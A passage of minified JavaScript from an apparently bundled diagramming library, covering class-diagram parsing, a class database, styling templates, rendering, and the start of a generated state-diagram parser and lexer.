qstring:{rules:[26,49,50,51,52,53,54,55,56,57,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},string:{rules:[24,25,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,8,10,13,14,15,16,17,18,26,27,28,29,38,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97],inclusive:!0}}};return Ie})();Ye.lexer=He;function Le(){this.yy={}}return o(Le,"Parser"),Le.prototype=Ye,Ye.Parser=Le,new Le})();a$.parser=a$;nC=a$});var Kye,k4,Qye=N(()=>{"use strict";Xt();gr();Kye=["#","+","~","-",""],k4=class{static{o(this,"ClassMember")}constructor(e,r){this.memberType=r,this.visibility="",this.classifier="",this.text="";let n=sr(e,ge());this.parseMember(n)}getDisplayDetails(){let e=this.visibility+rc(this.id);this.memberType==="method"&&(e+=`(${rc(this.parameters.trim())})`,this.returnType&&(e+=" : "+rc(this.returnType))),e=e.trim();let r=this.parseClassifier();return{displayText:e,cssStyle:r}}parseMember(e){let r="";if(this.memberType==="method"){let a=/([#+~-])?(.+)\((.*)\)([\s$*])?(.*)([$*])?/.exec(e);if(a){let s=a[1]?a[1].trim():"";if(Kye.includes(s)&&(this.visibility=s),this.id=a[2],this.parameters=a[3]?a[3].trim():"",r=a[4]?a[4].trim():"",this.returnType=a[5]?a[5].trim():"",r===""){let l=this.returnType.substring(this.returnType.length-1);/[$*]/.exec(l)&&(r=l,this.returnType=this.returnType.substring(0,this.returnType.length-1))}}}else{let i=e.length,a=e.substring(0,1),s=e.substring(i-1);Kye.includes(a)&&(this.visibility=a),/[$*]/.exec(s)&&(r=s),this.id=e.substring(this.visibility===""?0:1,r===""?i:i-1)}this.classifier=r,this.id=this.id.startsWith(" ")?" "+this.id.trim():this.id.trim();let n=`${this.visibility?"\\"+this.visibility:""}${rc(this.id)}${this.memberType==="method"?`(${rc(this.parameters)})${this.returnType?" : "+rc(this.returnType):""}`:""}`;this.text=n.replaceAll("<","<").replaceAll(">",">"),this.text.startsWith("\\<")&&(this.text=this.text.replace("\\<","~"))}parseClassifier(){switch(this.classifier){case"*":return"font-style:italic;";case"$":return"text-decoration:underline;";default:return""}}}});var iC,Zye,c0,sy,o$=N(()=>{"use strict";yr();pt();Xt();gr();tr();ci();Qye();iC="classId-",Zye=0,c0=o(t=>tt.sanitizeText(t,ge()),"sanitizeText"),sy=class{constructor(){this.relations=[];this.classes=new Map;this.styleClasses=new Map;this.notes=[];this.interfaces=[];this.namespaces=new Map;this.namespaceCounter=0;this.functions=[];this.lineType={LINE:0,DOTTED_LINE:1};this.relationType={AGGREGATION:0,EXTENSION:1,COMPOSITION:2,DEPENDENCY:3,LOLLIPOP:4};this.setupToolTips=o(e=>{let r=qe(".mermaidTooltip");(r._groups||r)[0][0]===null&&(r=qe("body").append("div").attr("class","mermaidTooltip").style("opacity",0)),qe(e).select("svg").selectAll("g.node").on("mouseover",a=>{let s=qe(a.currentTarget);if(s.attr("title")===null)return;let u=this.getBoundingClientRect();r.transition().duration(200).style("opacity",".9"),r.text(s.attr("title")).style("left",window.scrollX+u.left+(u.right-u.left)/2+"px").style("top",window.scrollY+u.top-14+document.body.scrollTop+"px"),r.html(r.html().replace(/<br\/>/g,"
    ")),s.classed("hover",!0)}).on("mouseout",a=>{r.transition().duration(500).style("opacity",0),qe(a.currentTarget).classed("hover",!1)})},"setupToolTips");this.direction="TB";this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().class,"getConfig");this.functions.push(this.setupToolTips.bind(this)),this.clear(),this.addRelation=this.addRelation.bind(this),this.addClassesToNamespace=this.addClassesToNamespace.bind(this),this.addNamespace=this.addNamespace.bind(this),this.setCssClass=this.setCssClass.bind(this),this.addMembers=this.addMembers.bind(this),this.addClass=this.addClass.bind(this),this.setClassLabel=this.setClassLabel.bind(this),this.addAnnotation=this.addAnnotation.bind(this),this.addMember=this.addMember.bind(this),this.cleanupLabel=this.cleanupLabel.bind(this),this.addNote=this.addNote.bind(this),this.defineClass=this.defineClass.bind(this),this.setDirection=this.setDirection.bind(this),this.setLink=this.setLink.bind(this),this.bindFunctions=this.bindFunctions.bind(this),this.clear=this.clear.bind(this),this.setTooltip=this.setTooltip.bind(this),this.setClickEvent=this.setClickEvent.bind(this),this.setCssStyle=this.setCssStyle.bind(this)}static{o(this,"ClassDB")}splitClassNameAndType(e){let r=tt.sanitizeText(e,ge()),n="",i=r;if(r.indexOf("~")>0){let a=r.split("~");i=c0(a[0]),n=c0(a[1])}return{className:i,type:n}}setClassLabel(e,r){let n=tt.sanitizeText(e,ge());r&&(r=c0(r));let{className:i}=this.splitClassNameAndType(n);this.classes.get(i).label=r,this.classes.get(i).text=`${r}${this.classes.get(i).type?`<${this.classes.get(i).type}>`:""}`}addClass(e){let r=tt.sanitizeText(e,ge()),{className:n,type:i}=this.splitClassNameAndType(r);if(this.classes.has(n))return;let a=tt.sanitizeText(n,ge());this.classes.set(a,{id:a,type:i,label:a,text:`${a}${i?`<${i}>`:""}`,shape:"classBox",cssClasses:"default",methods:[],members:[],annotations:[],styles:[],domId:iC+a+"-"+Zye}),Zye++}addInterface(e,r){let n={id:`interface${this.interfaces.length}`,label:e,classId:r};this.interfaces.push(n)}lookUpDomId(e){let r=tt.sanitizeText(e,ge());if(this.classes.has(r))return this.classes.get(r).domId;throw new Error("Class not found: "+r)}clear(){this.relations=[],this.classes=new Map,this.notes=[],this.interfaces=[],this.functions=[],this.functions.push(this.setupToolTips.bind(this)),this.namespaces=new Map,this.namespaceCounter=0,this.direction="TB",Sr()}getClass(e){return this.classes.get(e)}getClasses(){return this.classes}getRelations(){return this.relations}getNotes(){return this.notes}addRelation(e){X.debug("Adding relation: "+JSON.stringify(e));let r=[this.relationType.LOLLIPOP,this.relationType.AGGREGATION,this.relationType.COMPOSITION,this.relationType.DEPENDENCY,this.relationType.EXTENSION];e.relation.type1===this.relationType.LOLLIPOP&&!r.includes(e.relation.type2)?(this.addClass(e.id2),this.addInterface(e.id1,e.id2),e.id1=`interface${this.interfaces.length-1}`):e.relation.type2===this.relationType.LOLLIPOP&&!r.includes(e.relation.type1)?(this.addClass(e.id1),this.addInterface(e.id2,e.id1),e.id2=`interface${this.interfaces.length-1}`):(this.addClass(e.id1),this.addClass(e.id2)),e.id1=this.splitClassNameAndType(e.id1).className,e.id2=this.splitClassNameAndType(e.id2).className,e.relationTitle1=tt.sanitizeText(e.relationTitle1.trim(),ge()),e.relationTitle2=tt.sanitizeText(e.relationTitle2.trim(),ge()),this.relations.push(e)}addAnnotation(e,r){let n=this.splitClassNameAndType(e).className;this.classes.get(n).annotations.push(r)}addMember(e,r){this.addClass(e);let n=this.splitClassNameAndType(e).className,i=this.classes.get(n);if(typeof r=="string"){let a=r.trim();a.startsWith("<<")&&a.endsWith(">>")?i.annotations.push(c0(a.substring(2,a.length-2))):a.indexOf(")")>0?i.methods.push(new k4(a,"method")):a&&i.members.push(new k4(a,"attribute"))}}addMembers(e,r){Array.isArray(r)&&(r.reverse(),r.forEach(n=>this.addMember(e,n)))}addNote(e,r){let n={id:`note${this.notes.length}`,class:r,text:e};this.notes.push(n)}cleanupLabel(e){return e.startsWith(":")&&(e=e.substring(1)),c0(e.trim())}setCssClass(e,r){e.split(",").forEach(n=>{let i=n;/\d/.exec(n[0])&&(i=iC+i);let a=this.classes.get(i);a&&(a.cssClasses+=" "+r)})}defineClass(e,r){for(let n of e){let i=this.styleClasses.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.styleClasses.set(n,i)),r&&r.forEach(a=>{if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)}),this.classes.forEach(a=>{a.cssClasses.includes(n)&&a.styles.push(...r.flatMap(s=>s.split(",")))})}}setTooltip(e,r){e.split(",").forEach(n=>{r!==void 0&&(this.classes.get(n).tooltip=c0(r))})}getTooltip(e,r){return r&&this.namespaces.has(r)?this.namespaces.get(r).classes.get(e).tooltip:this.classes.get(e).tooltip}setLink(e,r,n){let i=ge();e.split(",").forEach(a=>{let s=a;/\d/.exec(a[0])&&(s=iC+s);let l=this.classes.get(s);l&&(l.link=qt.formatUrl(r,i),i.securityLevel==="sandbox"?l.linkTarget="_top":typeof n=="string"?l.linkTarget=c0(n):l.linkTarget="_blank")}),this.setCssClass(e,"clickable")}setClickEvent(e,r,n){e.split(",").forEach(i=>{this.setClickFunc(i,r,n),this.classes.get(i).haveCallback=!0}),this.setCssClass(e,"clickable")}setClickFunc(e,r,n){let i=tt.sanitizeText(e,ge());if(ge().securityLevel!=="loose"||r===void 0)return;let s=i;if(this.classes.has(s)){let l=this.lookUpDomId(s),u=[];if(typeof n=="string"){u=n.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let h=0;h{let h=document.querySelector(`[id="${l}"]`);h!==null&&h.addEventListener("click",()=>{qt.runFunc(r,...u)},!1)})}}bindFunctions(e){this.functions.forEach(r=>{r(e)})}getDirection(){return this.direction}setDirection(e){this.direction=e}addNamespace(e){this.namespaces.has(e)||(this.namespaces.set(e,{id:e,classes:new Map,children:{},domId:iC+e+"-"+this.namespaceCounter}),this.namespaceCounter++)}getNamespace(e){return this.namespaces.get(e)}getNamespaces(){return this.namespaces}addClassesToNamespace(e,r){if(this.namespaces.has(e))for(let n of r){let{className:i}=this.splitClassNameAndType(n);this.classes.get(i).parent=e,this.namespaces.get(e).classes.set(i,this.classes.get(i))}}setCssStyle(e,r){let n=this.classes.get(e);if(!(!r||!n))for(let i of r)i.includes(",")?n.styles.push(...i.split(",")):n.styles.push(i)}getArrowMarker(e){let r;switch(e){case 0:r="aggregation";break;case 1:r="extension";break;case 2:r="composition";break;case 3:r="dependency";break;case 4:r="lollipop";break;default:r="none"}return r}getData(){let e=[],r=[],n=ge();for(let a of this.namespaces.keys()){let s=this.namespaces.get(a);if(s){let l={id:s.id,label:s.id,isGroup:!0,padding:n.class.padding??16,shape:"rect",cssStyles:["fill: none","stroke: black"],look:n.look};e.push(l)}}for(let a of this.classes.keys()){let s=this.classes.get(a);if(s){let l=s;l.parentId=s.parent,l.look=n.look,e.push(l)}}let i=0;for(let a of this.notes){i++;let s={id:a.id,label:a.text,isGroup:!1,shape:"note",padding:n.class.padding??6,cssStyles:["text-align: left","white-space: nowrap",`fill: ${n.themeVariables.noteBkgColor}`,`stroke: ${n.themeVariables.noteBorderColor}`],look:n.look};e.push(s);let l=this.classes.get(a.class)?.id??"";if(l){let u={id:`edgeNote${i}`,start:a.id,end:l,type:"normal",thickness:"normal",classes:"relation",arrowTypeStart:"none",arrowTypeEnd:"none",arrowheadStyle:"",labelStyle:[""],style:["fill: none"],pattern:"dotted",look:n.look};r.push(u)}}for(let a of this.interfaces){let s={id:a.id,label:a.label,isGroup:!1,shape:"rect",cssStyles:["opacity: 0;"],look:n.look};e.push(s)}i=0;for(let a of this.relations){i++;let s={id:xc(a.id1,a.id2,{prefix:"id",counter:i}),start:a.id1,end:a.id2,type:"normal",label:a.title,labelpos:"c",thickness:"normal",classes:"relation",arrowTypeStart:this.getArrowMarker(a.relation.type1),arrowTypeEnd:this.getArrowMarker(a.relation.type2),startLabelRight:a.relationTitle1==="none"?"":a.relationTitle1,endLabelLeft:a.relationTitle2==="none"?"":a.relationTitle2,arrowheadStyle:"",labelStyle:["display: inline-block"],style:a.style||"",pattern:a.relation.lineType==1?"dashed":"solid",look:n.look};r.push(s)}return{nodes:e,edges:r,other:{},config:n,direction:this.getDirection()}}}});var BJe,aC,l$=N(()=>{"use strict";yg();BJe=o(t=>`g.classGroup text { + fill: ${t.nodeBorder||t.classText}; + stroke: none; + font-family: ${t.fontFamily}; + font-size: 10px; + + .title { + font-weight: bolder; + } + +} + +.nodeLabel, .edgeLabel { + color: ${t.classText}; +} +.edgeLabel .label rect { + fill: ${t.mainBkg}; +} +.label text { + fill: ${t.classText}; +} + +.labelBkg { + background: ${t.mainBkg}; +} +.edgeLabel .label span { + background: ${t.mainBkg}; +} + +.classTitle { + font-weight: bolder; +} +.node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + +.divider { + stroke: ${t.nodeBorder}; + stroke-width: 1; +} + +g.clickable { + cursor: pointer; +} + +g.classGroup rect { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; +} + +g.classGroup line { + stroke: ${t.nodeBorder}; + stroke-width: 1; +} + +.classLabel .box { + stroke: none; + stroke-width: 0; + fill: ${t.mainBkg}; + opacity: 0.5; +} + +.classLabel .label { + fill: ${t.nodeBorder}; + font-size: 10px; +} + +.relation { + stroke: ${t.lineColor}; + stroke-width: 1; + fill: none; +} + +.dashed-line{ + stroke-dasharray: 3; +} + +.dotted-line{ + stroke-dasharray: 1 2; +} + +#compositionStart, .composition { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#compositionEnd, .composition { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#dependencyStart, .dependency { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#dependencyStart, .dependency { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#extensionStart, .extension { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#extensionEnd, .extension { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#aggregationStart, .aggregation { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#aggregationEnd, .aggregation { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#lollipopStart, .lollipop { + fill: ${t.mainBkg} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#lollipopEnd, .lollipop { + fill: ${t.mainBkg} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +.edgeTerminals { + font-size: 11px; + line-height: initial; +} + +.classTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; +} + ${zc()} +`,"getStyles"),aC=BJe});var FJe,$Je,zJe,sC,c$=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();FJe=o((t,e="TB")=>{if(!t.doc)return e;let r=e;for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir"),$Je=o(function(t,e){return e.db.getClasses()},"getClasses"),zJe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing class diagram (v3)",e);let{securityLevel:i,state:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.nodeSpacing=a?.nodeSpacing||50,l.rankSpacing=a?.rankSpacing||50,l.markers=["aggregation","extension","composition","dependency","lollipop"],l.diagramId=e,await Qo(l,u);let h=8;qt.insertTitle(u,"classDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,"classDiagram",a?.useMaxWidth??!0)},"draw"),sC={getClasses:$Je,draw:zJe,getDir:FJe}});var Jye={};dr(Jye,{diagram:()=>GJe});var GJe,eve=N(()=>{"use strict";s$();o$();l$();c$();GJe={parser:nC,get db(){return new sy},renderer:sC,styles:aC,init:o(t=>{t.class||(t.class={}),t.class.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var nve={};dr(nve,{diagram:()=>qJe});var qJe,ive=N(()=>{"use strict";s$();o$();l$();c$();qJe={parser:nC,get db(){return new sy},renderer:sC,styles:aC,init:o(t=>{t.class||(t.class={}),t.class.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var u$,oC,h$=N(()=>{"use strict";u$=(function(){var t=o(function(F,G,$,U){for($=$||{},U=F.length;U--;$[F[U]]=G);return $},"o"),e=[1,2],r=[1,3],n=[1,4],i=[2,4],a=[1,9],s=[1,11],l=[1,16],u=[1,17],h=[1,18],f=[1,19],d=[1,33],p=[1,20],m=[1,21],g=[1,22],y=[1,23],v=[1,24],x=[1,26],b=[1,27],T=[1,28],S=[1,29],w=[1,30],k=[1,31],A=[1,32],C=[1,35],R=[1,36],I=[1,37],L=[1,38],E=[1,34],D=[1,4,5,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],_=[1,4,5,14,15,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,39,40,41,45,48,51,52,53,54,57],O=[4,5,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],M={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SPACE:4,NL:5,SD:6,document:7,line:8,statement:9,classDefStatement:10,styleStatement:11,cssClassStatement:12,idStatement:13,DESCR:14,"-->":15,HIDE_EMPTY:16,scale:17,WIDTH:18,COMPOSIT_STATE:19,STRUCT_START:20,STRUCT_STOP:21,STATE_DESCR:22,AS:23,ID:24,FORK:25,JOIN:26,CHOICE:27,CONCURRENT:28,note:29,notePosition:30,NOTE_TEXT:31,direction:32,acc_title:33,acc_title_value:34,acc_descr:35,acc_descr_value:36,acc_descr_multiline_value:37,CLICK:38,STRING:39,HREF:40,classDef:41,CLASSDEF_ID:42,CLASSDEF_STYLEOPTS:43,DEFAULT:44,style:45,STYLE_IDS:46,STYLEDEF_STYLEOPTS:47,class:48,CLASSENTITY_IDS:49,STYLECLASS:50,direction_tb:51,direction_bt:52,direction_rl:53,direction_lr:54,eol:55,";":56,EDGE_STATE:57,STYLE_SEPARATOR:58,left_of:59,right_of:60,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NL",6:"SD",14:"DESCR",15:"-->",16:"HIDE_EMPTY",17:"scale",18:"WIDTH",19:"COMPOSIT_STATE",20:"STRUCT_START",21:"STRUCT_STOP",22:"STATE_DESCR",23:"AS",24:"ID",25:"FORK",26:"JOIN",27:"CHOICE",28:"CONCURRENT",29:"note",31:"NOTE_TEXT",33:"acc_title",34:"acc_title_value",35:"acc_descr",36:"acc_descr_value",37:"acc_descr_multiline_value",38:"CLICK",39:"STRING",40:"HREF",41:"classDef",42:"CLASSDEF_ID",43:"CLASSDEF_STYLEOPTS",44:"DEFAULT",45:"style",46:"STYLE_IDS",47:"STYLEDEF_STYLEOPTS",48:"class",49:"CLASSENTITY_IDS",50:"STYLECLASS",51:"direction_tb",52:"direction_bt",53:"direction_rl",54:"direction_lr",56:";",57:"EDGE_STATE",58:"STYLE_SEPARATOR",59:"left_of",60:"right_of"},productions_:[0,[3,2],[3,2],[3,2],[7,0],[7,2],[8,2],[8,1],[8,1],[9,1],[9,1],[9,1],[9,1],[9,2],[9,3],[9,4],[9,1],[9,2],[9,1],[9,4],[9,3],[9,6],[9,1],[9,1],[9,1],[9,1],[9,4],[9,4],[9,1],[9,2],[9,2],[9,1],[9,5],[9,5],[10,3],[10,3],[11,3],[12,3],[32,1],[32,1],[32,1],[32,1],[55,1],[55,1],[13,1],[13,1],[13,3],[13,3],[30,1],[30,1]],performAction:o(function(G,$,U,j,te,Y,oe){var J=Y.length-1;switch(te){case 3:return j.setRootDoc(Y[J]),Y[J];break;case 4:this.$=[];break;case 5:Y[J]!="nl"&&(Y[J-1].push(Y[J]),this.$=Y[J-1]);break;case 6:case 7:this.$=Y[J];break;case 8:this.$="nl";break;case 12:this.$=Y[J];break;case 13:let Z=Y[J-1];Z.description=j.trimColon(Y[J]),this.$=Z;break;case 14:this.$={stmt:"relation",state1:Y[J-2],state2:Y[J]};break;case 15:let K=j.trimColon(Y[J]);this.$={stmt:"relation",state1:Y[J-3],state2:Y[J-1],description:K};break;case 19:this.$={stmt:"state",id:Y[J-3],type:"default",description:"",doc:Y[J-1]};break;case 20:var ue=Y[J],re=Y[J-2].trim();if(Y[J].match(":")){var ee=Y[J].split(":");ue=ee[0],re=[re,ee[1]]}this.$={stmt:"state",id:ue,type:"default",description:re};break;case 21:this.$={stmt:"state",id:Y[J-3],type:"default",description:Y[J-5],doc:Y[J-1]};break;case 22:this.$={stmt:"state",id:Y[J],type:"fork"};break;case 23:this.$={stmt:"state",id:Y[J],type:"join"};break;case 24:this.$={stmt:"state",id:Y[J],type:"choice"};break;case 25:this.$={stmt:"state",id:j.getDividerId(),type:"divider"};break;case 26:this.$={stmt:"state",id:Y[J-1].trim(),note:{position:Y[J-2].trim(),text:Y[J].trim()}};break;case 29:this.$=Y[J].trim(),j.setAccTitle(this.$);break;case 30:case 31:this.$=Y[J].trim(),j.setAccDescription(this.$);break;case 32:this.$={stmt:"click",id:Y[J-3],url:Y[J-2],tooltip:Y[J-1]};break;case 33:this.$={stmt:"click",id:Y[J-3],url:Y[J-1],tooltip:""};break;case 34:case 35:this.$={stmt:"classDef",id:Y[J-1].trim(),classes:Y[J].trim()};break;case 36:this.$={stmt:"style",id:Y[J-1].trim(),styleClass:Y[J].trim()};break;case 37:this.$={stmt:"applyClass",id:Y[J-1].trim(),styleClass:Y[J].trim()};break;case 38:j.setDirection("TB"),this.$={stmt:"dir",value:"TB"};break;case 39:j.setDirection("BT"),this.$={stmt:"dir",value:"BT"};break;case 40:j.setDirection("RL"),this.$={stmt:"dir",value:"RL"};break;case 41:j.setDirection("LR"),this.$={stmt:"dir",value:"LR"};break;case 44:case 45:this.$={stmt:"state",id:Y[J].trim(),type:"default",description:""};break;case 46:this.$={stmt:"state",id:Y[J-2].trim(),classes:[Y[J].trim()],type:"default",description:""};break;case 47:this.$={stmt:"state",id:Y[J-2].trim(),classes:[Y[J].trim()],type:"default",description:""};break}},"anonymous"),table:[{3:1,4:e,5:r,6:n},{1:[3]},{3:5,4:e,5:r,6:n},{3:6,4:e,5:r,6:n},t([1,4,5,16,17,19,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],i,{7:7}),{1:[2,1]},{1:[2,2]},{1:[2,3],4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,5]),{9:39,10:12,11:13,12:14,13:15,16:l,17:u,19:h,22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,7]),t(D,[2,8]),t(D,[2,9]),t(D,[2,10]),t(D,[2,11]),t(D,[2,12],{14:[1,40],15:[1,41]}),t(D,[2,16]),{18:[1,42]},t(D,[2,18],{20:[1,43]}),{23:[1,44]},t(D,[2,22]),t(D,[2,23]),t(D,[2,24]),t(D,[2,25]),{30:45,31:[1,46],59:[1,47],60:[1,48]},t(D,[2,28]),{34:[1,49]},{36:[1,50]},t(D,[2,31]),{13:51,24:d,57:E},{42:[1,52],44:[1,53]},{46:[1,54]},{49:[1,55]},t(_,[2,44],{58:[1,56]}),t(_,[2,45],{58:[1,57]}),t(D,[2,38]),t(D,[2,39]),t(D,[2,40]),t(D,[2,41]),t(D,[2,6]),t(D,[2,13]),{13:58,24:d,57:E},t(D,[2,17]),t(O,i,{7:59}),{24:[1,60]},{24:[1,61]},{23:[1,62]},{24:[2,48]},{24:[2,49]},t(D,[2,29]),t(D,[2,30]),{39:[1,63],40:[1,64]},{43:[1,65]},{43:[1,66]},{47:[1,67]},{50:[1,68]},{24:[1,69]},{24:[1,70]},t(D,[2,14],{14:[1,71]}),{4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,21:[1,72],22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,20],{20:[1,73]}),{31:[1,74]},{24:[1,75]},{39:[1,76]},{39:[1,77]},t(D,[2,34]),t(D,[2,35]),t(D,[2,36]),t(D,[2,37]),t(_,[2,46]),t(_,[2,47]),t(D,[2,15]),t(D,[2,19]),t(O,i,{7:78}),t(D,[2,26]),t(D,[2,27]),{5:[1,79]},{5:[1,80]},{4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,21:[1,81],22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,32]),t(D,[2,33]),t(D,[2,21])],defaultActions:{5:[2,1],6:[2,2],47:[2,48],48:[2,49]},parseError:o(function(G,$){if($.recoverable)this.trace(G);else{var U=new Error(G);throw U.hash=$,U}},"parseError"),parse:o(function(G){var $=this,U=[0],j=[],te=[null],Y=[],oe=this.table,J="",ue=0,re=0,ee=0,Z=2,K=1,ae=Y.slice.call(arguments,1),Q=Object.create(this.lexer),de={yy:{}};for(var ne in this.yy)Object.prototype.hasOwnProperty.call(this.yy,ne)&&(de.yy[ne]=this.yy[ne]);Q.setInput(G,de.yy),de.yy.lexer=Q,de.yy.parser=this,typeof Q.yylloc>"u"&&(Q.yylloc={});var Te=Q.yylloc;Y.push(Te);var q=Q.options&&Q.options.ranges;typeof de.yy.parseError=="function"?this.parseError=de.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Ve(z){U.length=U.length-2*z,te.length=te.length-z,Y.length=Y.length-z}o(Ve,"popStack");function pe(){var z;return z=j.pop()||Q.lex()||K,typeof z!="number"&&(z instanceof Array&&(j=z,z=j.pop()),z=$.symbols_[z]||z),z}o(pe,"lex");for(var Be,Ye,He,Le,Ie,Ne,Ce={},Fe,fe,xe,W;;){if(He=U[U.length-1],this.defaultActions[He]?Le=this.defaultActions[He]:((Be===null||typeof Be>"u")&&(Be=pe()),Le=oe[He]&&oe[He][Be]),typeof Le>"u"||!Le.length||!Le[0]){var he="";W=[];for(Fe in oe[He])this.terminals_[Fe]&&Fe>Z&&W.push("'"+this.terminals_[Fe]+"'");Q.showPosition?he="Parse error on line "+(ue+1)+`: +`+Q.showPosition()+` +Expecting `+W.join(", ")+", got '"+(this.terminals_[Be]||Be)+"'":he="Parse error on line "+(ue+1)+": Unexpected "+(Be==K?"end of input":"'"+(this.terminals_[Be]||Be)+"'"),this.parseError(he,{text:Q.match,token:this.terminals_[Be]||Be,line:Q.yylineno,loc:Te,expected:W})}if(Le[0]instanceof Array&&Le.length>1)throw new Error("Parse Error: multiple actions possible at state: "+He+", token: "+Be);switch(Le[0]){case 1:U.push(Be),te.push(Q.yytext),Y.push(Q.yylloc),U.push(Le[1]),Be=null,Ye?(Be=Ye,Ye=null):(re=Q.yyleng,J=Q.yytext,ue=Q.yylineno,Te=Q.yylloc,ee>0&&ee--);break;case 2:if(fe=this.productions_[Le[1]][1],Ce.$=te[te.length-fe],Ce._$={first_line:Y[Y.length-(fe||1)].first_line,last_line:Y[Y.length-1].last_line,first_column:Y[Y.length-(fe||1)].first_column,last_column:Y[Y.length-1].last_column},q&&(Ce._$.range=[Y[Y.length-(fe||1)].range[0],Y[Y.length-1].range[1]]),Ne=this.performAction.apply(Ce,[J,re,ue,de.yy,Le[1],te,Y].concat(ae)),typeof Ne<"u")return Ne;fe&&(U=U.slice(0,-1*fe*2),te=te.slice(0,-1*fe),Y=Y.slice(0,-1*fe)),U.push(this.productions_[Le[1]][0]),te.push(Ce.$),Y.push(Ce._$),xe=oe[U[U.length-2]][U[U.length-1]],U.push(xe);break;case 3:return!0}}return!0},"parse")},P=(function(){var F={EOF:1,parseError:o(function($,U){if(this.yy.parser)this.yy.parser.parseError($,U);else throw new Error($)},"parseError"),setInput:o(function(G,$){return this.yy=$||this.yy||{},this._input=G,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var G=this._input[0];this.yytext+=G,this.yyleng++,this.offset++,this.match+=G,this.matched+=G;var $=G.match(/(?:\r\n?|\n).*/g);return $?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),G},"input"),unput:o(function(G){var $=G.length,U=G.split(/(?:\r\n?|\n)/g);this._input=G+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-$),this.offset-=$;var j=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),U.length-1&&(this.yylineno-=U.length-1);var te=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:U?(U.length===j.length?this.yylloc.first_column:0)+j[j.length-U.length].length-U[0].length:this.yylloc.first_column-$},this.options.ranges&&(this.yylloc.range=[te[0],te[0]+this.yyleng-$]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return 